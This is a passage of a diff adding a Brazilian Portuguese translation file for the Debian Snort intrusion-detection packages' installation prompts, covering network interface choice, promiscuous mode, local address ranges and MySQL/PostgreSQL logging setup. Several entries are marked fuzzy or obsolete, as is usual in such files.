+#| "your environment, if you are using a dialup connection 'ppp0' might be "
+#| "more appropiate."
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Por favor, informe o nome da interface na qual o snort deverá ouvir. O nome "
+"das interfaces disponíveis podem ser visualizados executando-se o comando "
+"'ip link show'. Esse valor geralmente é 'eth0', mas você pode querer variar "
+"isso dependendo de seu ambiente, caso você esteja usando uma conexão "
+"discada, 'ppp0' pode ser mais apropriado."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Notice that Snort is usually configured to inspect all traffic coming "
+#| "from the Internet, so the interface you add here is usually the same the "
+#| "'default route' is on.  You can determine which interface is used for "
+#| "this running either '/sbin/ip ro sh' or '/sbin/route -n' (look for "
+#| "'default' or '0.0.0.0')."
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Note que o Snort é geralmente configurado para inspecionar todo tráfego "
+"chegando da Internet, de modo que a interface que você adicionar aqui "
+"geralmente é a mesma onde a 'rota padrão' está. Você pode determinar qual "
+"interface é usada para isso executando o comando '/sbin/ip ro sh' ou '/sbin/"
+"route -n' (procure por 'default' ou '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "It is also not uncommon to run Snort on an interface with no IP and "
+#| "configured in promiscuous mode, if this is your case, select the "
+#| "interface in this system that is physically connected to the network you "
+#| "want to inspect, enable promiscuous mode later on and make sure that the "
+#| "network traffic is sent to this interface (either connected to a 'port "
+#| "mirroring/spanning' port in a switch, to a hub or to a tap)"
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Também não é incomum executar o Snort em uma interface sem endereço IP e "
+"configurada em modo promíscuo, caso esse seja seu caso, selecione a "
+"interface neste sistema que esteja fisicamente conectada a rede que você "
+"quer inspecionar, habilite o modo promíscuo depois e certifique-se de que o "
+"tráfego de rede seja enviada para essa interface (conectado a uma porta "
+"'port mirroring/spanning' em um switch, a um hub ou a uma tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid "Please enter the address range that Snort will listen on."
+msgid "Address range for the local network:"
+msgstr "Por favor, especifique a faixa de endereços na qual o Snort irá ouvir."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#| "192.168.1.42/32 for just one. Specify multiple addresses on a single line "
+#| "separated by ',' (comma characters), no spaces allowed!"
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Você precisará usar a notação CIDR, ou seja, 192.168.1.0/24 para um bloco de "
+"256 IPs ou 192.168.1.42/32 para um único host. Especifique múltiplos "
+"endereços em uma única linha separados por ',' (caracter vírgula). Espaços "
+"não são permitidos !"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "O Snort deve desabilitar o modo promíscuo na interface ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+#, fuzzy
+#| msgid ""
+#| "Disabling promiscuous mode means that Snort will only see packets "
+#| "addressed to it's own interface. Enabling it allows Snort to check  every "
+#| "packet that passes ethernet segment even if it's a connection between two "
+#| "other computers."
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Desabilitar o modo promíscuo significa que o Snort irá somente ver pacotes "
+"destinados a sua própria interface. Habilitar o modo promíscuo permitirá que "
+"o Snort cheque cada pacote que passa pelo segmento ethernet mesmo caso os "
+"pacotes façam parte de uma conexão entre dois outros computadores."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+#, fuzzy
+#| msgid "Should Snort's rules testing order be changed to Pass|Alert|Log?"
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"A ordem de teste das regras do Snort deve ser mudada para Passar|Alertar|"
+"Logar ?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+#, fuzzy
+#| msgid "Who should receive the daily statistics mails?"
+msgid "Recipient of daily statistics mails:"
+msgstr "Quem deverá receber os e-mails de estatísticas diárias ?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+#, fuzzy
+#| msgid ""
+#| "An alert needs to appear more times than this number to be included in "
+#| "the daily statistics."
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Um alerta precisa aparecer mais do que esta quantidade de vezes para ser "
+"considerado nas estatísticas diárias."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-mysql to log to?"
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"Você deseja configurar uma base de dados para o snort-mysql armazenar seus "
+"logs ?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+#, fuzzy
+#| msgid ""
+#| "Make sure it has been set up correctly to allow incoming connections from "
+#| "this host!"
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Certifique-se de ter configurado a base de dados corretamente para permitir "
+"conexões originadas deste host !"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+#, fuzzy
+#| msgid ""
+#| "Make sure this database has been created and your database user has write "
+#| "access to this database."
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Certifique-se de que essa base de dados tenha sido criada e que seu usuário "
+"tenha acesso de escrita nessa base de dados."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter the password for the database connection"
+msgid "Password for the database connection:"
+msgstr ""
+"Por favor informe a senha a ser usada pelo Snort para a conexão com a base "
+"de dados"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter a password to connect to the Snort Alert database."
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Por favor, informe uma senha para conexão na base de dados de Alertas do "
+"Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Por favor, crie a estrutura da base de dados agora, usando o comando a "
+"seguir :\n"
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <usuário> -h <host> -p <nome_da_base>\n"
+"Informando os valores corretos para usuário, host e nome da base de dados. O "
+"MySQL irá solicitar a senha."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Depois de ter criado a estrutura da base de dados, pressione 'ok' para "
+"continuar."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-pgsql to log to?"
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+"Você deseja configurar uma base de dados para o snort-pgsql armazenar seus "
+"logs ?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+
+#, fuzzy
+#~| msgid "You are running Snort manually."
+#~ msgid "You are running Snort manually"
+#~ msgstr "Você está executando o Snort manualmente."
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "inicialização, discagem, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Quando o Snort deve ser iniciado ?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Caso você queira, é possível especificar 'any', para não confiar em "
+#~ "nenhum dos lados da rede."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Caso você mude a ordem de teste das regras do Snort para Passar|Alertar|"
+#~ "Logar, as regras serão aplicadas na ordem Passar->Alertar->Logar, ao "
+#~ "invés da ordem padrão Alertar->Passar->Logar. Isso evitará que os "
+#~ "usuários do Snort tenham que fazer grandes argumentos de linha de comando "
+#~ "Berkely Packet Filtering para filtrar suas regras de alerta."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Um job cron executado diariamente irá sumarizar a informação dos logs "
+#~ "gerados pelo Snort usando um script chamado 'snort-stat'. Informe aqui o "
+#~ "destinatário dessas mensagens. O valor padrão é o administrador do "
+#~ "sistema. Caso você mantenha esse valor, certifique-se de que as mensagens "
+#~ "para o administrador sejam redirecionadas para um usuário que na verdade "
+#~ "leia essas mensagens."
+
+#, fuzzy
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Caso você queira especificar opções personalizadas para o Snort, por "
+#~ "favor, especifique-os aqui."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Por favor reinicie o Snort usando :\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para fazer com que as configurações tenham efeito."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Você precisa fazer isso somente na primeira vez que você instalar o snort-"
+#~ "mysql. Antes de prosseguir, certifique-se de possuir (1) o hostname da "
+#~ "máquina executando um servidor mysql, configurado para permitir conexões "
+#~ "tcp originadas desse host, (2) uma base de dados nesse servidor, (3) um "
+#~ "nome de usuário e senha para acessar a base de dados. Caso você não tenha "
+#~ "_tudo_ isso, selecione 'não' e execute o snort com o suporte comum de "
+#~ "logging em arquivo ou providencie tudo o que é necessário "
+#~ "antecipadamente. Você poderá sempre configurar o logging em base de dados "
+#~ "posteriormente, reconfigurando o pacote snort-mysql com o comando 'dpkg-"
+#~ "reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Certifique-se que esse usuário tenha sido criado e tenha acesso de "
+#~ "escrita."
+
+#, fuzzy
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "O Snort depende de um base de dados configuradas para armazenar seus logs."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Você precisa fazer isso somente na primeira vez que você instalar o snort-"
+#~ "pgsql. Antes de prosseguir, certifique-se de possuir (1) o hostname da "
+#~ "máquina executando um servidor pgsql, configurado para permitir conexões "
+#~ "tcp originadas desse host, (2) uma base de dados nesse servidor, (3) um "
+#~ "nome de usuário e senha para acessar a base de dados. Caso você não tenha "
+#~ "_tudo_ isso, selecione 'não' e execute o snort com o suporte comum de "
+#~ "logging em arquivo ou providencie tudo o que é necessário "
+#~ "antecipadamente. Você poderá sempre configurar o logging em base de dados "
+#~ "posteriormente, reconfigurando o pacote snort-pgsql com o comando 'dpkg-"
+#~ "reconfigure -plow snort-pgsql'"
+
+#, fuzzy
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Por favor, crie a estrutura da base de dados agora, usando o comando a "
+#~ "seguir :\n"
+#~ " cd /usr/share/doc/snort-mysql/\n"
+#~ " zcat create_pgsql.gz | psql -U <usuário> -h <host> -W <nome_da_base>\n"
+#~ "Informando os valores corretos para usuário, host e nome da base de "
+#~ "dados. O PostgreSQL irá solicitar a senha."
+
+#, fuzzy
+#~ msgid "On which interface(s) should Snort listen?"
+#~ msgstr "Em qual interface de rede o Snort deve ouvir ?"
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor, informe o nome da interface na qual o snort deverá ouvir. O "
+#~ "nome das interfaces disponíveis podem ser visualizados executando-se o "
+#~ "comando 'ip link show'. Esse valor geralmente é 'eth0', mas você pode "
+#~ "querer variar isso dependendo de seu ambiente, caso você esteja usando "
+#~ "uma conexão discada, 'ppp0' pode ser mais apropriado."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr ""
+#~ "Por favor, especifique a faixa de endereços na qual o Snort irá ouvir."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Desabilite o modo promíscuo caso você esteja configurando o Snort em uma "
+#~ "interface sem um endereço IP configurado."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Por favor, informe o hostname do servidor de base de dados mysql a ser "
+#~ "utilizado."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Por favor, informe o nome da base de dados a ser usada."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr ""
+#~ "Por favor, informe o nome do usuário desejado para acessar a base dados."
+
+#~ msgid "Please enter the password for the database connection."
+#~ msgstr "Por favor, informe a senha para conexão na base de dados."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Por favor, informe o hostname do servidor de base de dados pgsql a ser "
+#~ "utilizado."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on. The names of the available interfaces are provided by either running "
+#~ "'ip link show' of 'ifconfig'. This value usually is 'eth0', but you might "
+#~ "want to vary this depending on your environment, if you are using a "
+#~ "dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor, informe o nome da interface na qual o snort deverá ouvir. O "
+#~ "nome das interfaces disponíveis podem ser visualizados executando-se o "
+#~ "comando 'ip link show'. Esse valor geralmente é 'eth0', mas você pode "
+#~ "querer variar isso dependendo de seu ambiente, caso você esteja usando "
+#~ "uma conexão discada, 'ppp0' pode ser mais apropriado."
+
+#~ msgid "On which interface should Snort listen?"
+#~ msgstr "Em qual interface de rede o Snort deve ouvir ?"
+
+#~ msgid ""
+#~ "Notice that Snort is usually configured to inspect all traffic coming "
+#~ "from the Internet, so the interface you add here is usually the same the "
+#~ "'default route' is on.  You can determine which interface is used for "
+#~ "this running either 'ip route show' or '/sbin/route -n' (look for "
+#~ "'default' or '0.0.0.0')."
+#~ msgstr ""
+#~ "Note que o Snort é geralmente configurado para inspecionar todo tráfego "
+#~ "chegando da Internet, de modo que a interface que você adicionar aqui "
+#~ "geralmente é a mesma onde a 'rota padrão' está. Você pode determinar qual "
+#~ "interface é usada para isso executando o comando '/sbin/ip ro sh' ou '/"
+#~ "sbin/route -n' (procure por 'default' ou '0.0.0.0')."
+
+#~ msgid "Should Snort disable promiscous mode on the interface?"
+#~ msgstr "O Snort deve desabilitar o modo promíscuo na interface ?"
+
+#~ msgid "What address range should Snort consider to be local?"
+#~ msgstr "Qual faixa de endereços o Snort deve considerar local ?"
+
+#~ msgid ""
+#~ "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#~ "192.168.1.42/32 for just one.  Specify multiple addresses on a single "
+#~ "line, seperated by ',' (comma characters). No spaces allowed!"
+#~ msgstr ""
+#~ "Você precisa usar o formato CIDR, ou seja, 192.168.1.0/24 para um bloco "
+#~ "de 256 IPs ou 192.168.1.42/32 para um único host. Especifique múltiplos "
+#~ "endereços em uma única linha, separados por ',' (caracter de vírgula). "
+#~ "Espaços não são permitidos !"
+
+#~ msgid ""
+#~ "Disabling the promiscuous mode means that Snort will only see packets "
+#~ "addressed to its own interface. Enabling allows it to check every packet "
+#~ "that passes the ethernet even if it's a connection between two other "
+#~ "computers"
+#~ msgstr ""
+#~ "Desabilitar o modo promíscuo significa que o Snort irá somente ver "
+#~ "pacotes destinados a sua própria interface. Habilitar o modo promíscuo "
+#~ "permitirá que o Snort cheque cada pacote que passa pela ethernet mesmo "
+#~ "caso os pacotes façam parte de uma conexão entre dois outros computadores."
+
+#~ msgid "When should snort be started?"
+#~ msgstr "Quando o Snort deve ser iniciado ?"
+
+#~ msgid "Please enter the address range that snort will listen on."
+#~ msgstr ""
+#~ "Por favor especifique a faixa de endereços na qual o Snort irá ouvir."
+
+#~ msgid ""
+#~ "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#~ "192.168.1.42/32 for just one. Specify multiple addresses on a single "
+#~ "line, separated by ',' (comma characters). No spaces allowed!"
+#~ msgstr ""
+#~ "Você precisará usar a notação CIDR, ou seja, 192.168.1.0/24 para um bloco "
+#~ "de 256 IPs ou 192.168.1.42/32 para um único host. Especifique múltiplos "
+#~ "endereços em uma única linha separados por ',' (caracter vírgula). "
+#~ "Espaços não são permitidos !"
+
+#~ msgid ""
+#~ "Disabling the promiscuous mode means that snort will only see packets "
+#~ "addressed to it's own interface. Enabling allows it to check every packet "
+#~ "that passes the ethernet even if it's a connection between two other "
+#~ "computers"
+#~ msgstr ""
+#~ "Desabilitar o modo promíscuo significa que o Snort irá somente ver "
+#~ "pacotes destinados a sua própria interface. Habilitar o modo promíscuo "
+#~ "permitirá que o Snort cheque cada pacote que passa pela ethernet mesmo "
+#~ "caso os pacotes façam parte de uma conexão entre dois outros computadores."
+
+#~ msgid "Should snort's rules testing order be changed to Pass|Alert|Log?"
+#~ msgstr ""
+#~ "A ordem de teste das regras do Snort devem ser mudadas para Passar|"
+#~ "Alertar|Logar ?"
+
+#~ msgid ""
+#~ "If you change snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge BPF command line "
+#~ "arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Caso você mude a ordem de teste das regras do Snort para Passar|Alertar|"
+#~ "Logar as regras serão aplicadas na ordem Passar->Alertar->Logar ao invés "
+#~ "da ordem padrão Alertar->Passar->Logar. Isso evitará que os usuários do "
+#~ "Snort tenham que fazer grandes argumentos de linha de comando BFP para "
+#~ "filtrar suas regras de alerta."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have the following things at hand: - The "
+#~ "hostname of a machine running a pgsql server, set up to allow TCP\n"
+#~ "  connections to the database (from this host).\n"
+#~ "- A database on the database server - A username and password for a user "
+#~ "that has write access to this database. If you don't have _all_ of these, "
+#~ "either select 'no' and run with regular file logging support, or fix this "
+#~ "first. You can always configure database logging later, by reconfiguring "
+#~ "the snort-pgsql package."
+#~ msgstr ""
+#~ "Você precisa fazer isso somente na primeira vez que você instalar o Snort-"
+#~ "MySQL. Antes de prosseguir, certifique-se de ter em mãos as seguintes "
+#~ "informações : \n"
+#~ "- O hostname da máquina onde se encontra o servidor PostgreSQL, "
+#~ "configurado para permitir conexões TCP originadas desse host.\n"
+#~ "- Uma base de dados nesse servidor PostgreSQL.\n"
+#~ "- Um nome de usuário que possua acesso de escrita na base dados e sua "
+#~ "senha.\n"
